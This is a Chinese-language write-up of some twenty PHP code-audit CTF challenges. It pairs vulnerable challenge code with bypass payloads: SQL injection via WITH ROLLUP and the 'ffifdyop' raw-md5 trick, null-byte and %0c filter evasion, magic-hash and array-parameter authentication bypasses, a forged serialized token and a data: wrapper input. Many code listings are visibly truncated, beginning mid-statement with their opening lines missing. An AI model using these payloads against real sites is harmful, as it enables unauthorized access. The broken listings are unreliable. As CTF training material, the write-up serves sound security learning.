PHP代码审计——EASY CTF篇

0x01 extract变量覆盖


?shiyan=&flag=1
在file_get_contents($flag)过程时出错,返回$content为空,通过$shiyan==$content判断

0x02 绕过过滤的空白字符

 $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 ,此处要求number非纯数字
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值,此处要求number与intval(number)的字符串值一致,而%0c在这一过程中将保留
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){//此处要求number变量数字部分与其反转后相同
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

?number=%00%0c191

  • %00使if(is_numeric($_REQUEST['number'])) 和elseif($req['number']!=strval(intval($req['number'])))均返回false;
  • intval和is_numeric都会忽略\f(也就是%0c)这个字符,使number值为191;
  • 而在if(is_palindrome_number($req["number"]))判断中,strval($number)值为\f191,从而使$number[$i]为\f, $number[$j]为1通过if($number[$i] !== $number[$j]) 的判断返回false。

0x03 多重加密

where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

判断条件只有一个:if($login['user'] === 'ichunqiu')
而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
因此只需要传递一个符合要求的序列化值即可,脚本如下:


//eJxLtDK0qs60MrBOAuJaAB5uBBQ=

0x04 SQL注入_WITH ROLLUP绕过

'."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); //设置活动的 MySQL 数据库 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); //执行一条 MySQL 查询 if (mysql_num_rows($query) == 1) { //返回结果集中行的数目 $key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
拼接后的SQL语句为:
SELECT * FROM interest WHERE uname = 'admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
因此可以通过注入payload使username仍为admin,但password为空。


POST:
username=admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -&password=

0x05 sha()函数比较绕过

Your password can not be your name!

'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '

Invalid password.

'; } else echo '

Login first!

'; ?>

?name[]=1&password[]=2
sha1()函数默认的传入参数类型是字符串型,当传入数组时均会返回false,通过判断。

0x06 SESSION验证绕过

Wrong guess.

'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>

?password=
初始状态session为空,因此password也传入空值即可

0x07 md5加密相等绕过

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391

pg:把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。
同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

0x08 intval函数四舍五入

no! try again

"; } else{ echo "flag{**************************}"; } } ?>

1024.1绕过

0x09 md5()函数===使用数组绕过


?username[]=1&password[]=2

0x10 十六进制与数字比较

= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        echo $flag;
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

?password=0xdeadc0de
3735929054 == 0xdeadc0de(十六进制)

0x11 数字验证正则绕过

= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配, 意为必须是12个字符以上(非空格非TAB之外的内容)
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) //意为匹配到的次数要大于6次
//字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,意为必须要有大小写字母,数字,字符内容三种与三种以上
        if ("42" == $password) echo $flag; //意为必须等于42
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

password=42.00e+00000000000 或 password=420.000000000e-1

0x12 弱类型整数大小比较绕过

1336){
    echo $flag;
} 

?>

?password=1337a
当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
当输入1337a,在is_numeric中返回true,然后在比较时被转换成数字1337。

0x13 md5函数true绕过注入

' . mysql_error() . '
' ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>

?password=ffifdyop
只需md5($password,true)包含' or 'xxx这样的字符即可绕过,SQL即变成:
SELECT * FROM admin WHERE pass = '' or 'xxx'
字符串ffifdyop,md5后为276f722736c95d99e921722cf9ed621c,hex转换为字符串为:'or'6

0x14 switch没有break 字符与0比较绕过


?which=flag
这里在case 0 和 case 1的时候均没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default。
但实际上,在case 0比较的时候,是相等的。进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句。当我们传入flag时,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php




在php中,非数字开头的字符串与数字0的弱类型比较(==)均返回true。
而以数字开头的字符串进行比较时,可转换为数字。
eg:7asd可转换为7

0x15 利用提交数组绕过逻辑

?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);//implode() 函数返回由数组元素组合成的字符串。
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "
there are the source.
"; echo ''; } } else{ echo "Sorry. You have no permissions."; } ?>
  • 修改cookie中role为czo1OiJhZG1pbiI7令$auth为true
  • data[0]=123&data[1]=<> 的形式传入数组
    preg_match('[<>?]', $data)匹配数组,结果返回false;
    preg_match('[<>?]', $s)匹配字符串,结果返回true。

0x16

";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

?a=data:,1112 is a nice lab!&id=0e12&b=%00412311

  • $data=="1112 is a nice lab!"
    利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥,参考这里
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,
    data:text/html;base64,
    data:text/css,
    data:text/css;base64,
    data:text/javascript,
    data:text/javascript;base64,
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
  • $id==0
    典型的PHP弱比较可参考这里
  • strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    strlen函数对%00不截断但substr截断
    ereg函数对%00截断及遇到%00则默认为字符串的结束

0x17


?args=GLOBALS

0x18

2017)?$b=1:NULL;
    }
    if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
    }
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}
if($a && $b && $c && $d){
    include "flag.php";
    echo $flag;
}
?>

?x1=1a&x2={"x21":"2018e","x22":[["XIPU"],0]}&x3=47484XIPU

  • x1=1a 或 0
  • x3位md5弱类型比较
import re

import hashlib

md = hashlib.md5("15562".encode())

s = md.hexdigest()[8:8+16]

print('md5(15562) =',s)

for i in range(10000000):

   #md = hashlib.md5(('XIPU'+str(i)).encode())
   md = hashlib.md5((str(i) + 'XIPU').encode())

   x = md.hexdigest()[8:8+16]

   if re.findall('^0e\d*$',x):

      print(str(i) + 'XIPU')

      print(x)

0x19

key == $key) {
        echo "flag";
    }
    else {
        echo "fail";
    }
}
else{
    echo "~~~~";
}

message={"key":true}


0x20


?b=a[0]=s878926199a

0x21

user[]=1&name[]=1&password[]=2&id=72.0&login=Check
or
user[]=1&name[]=1&password[]=2&id=072&login=Check

源项目地址

你可能感兴趣的:(PHP代码审计——EASY CTF篇)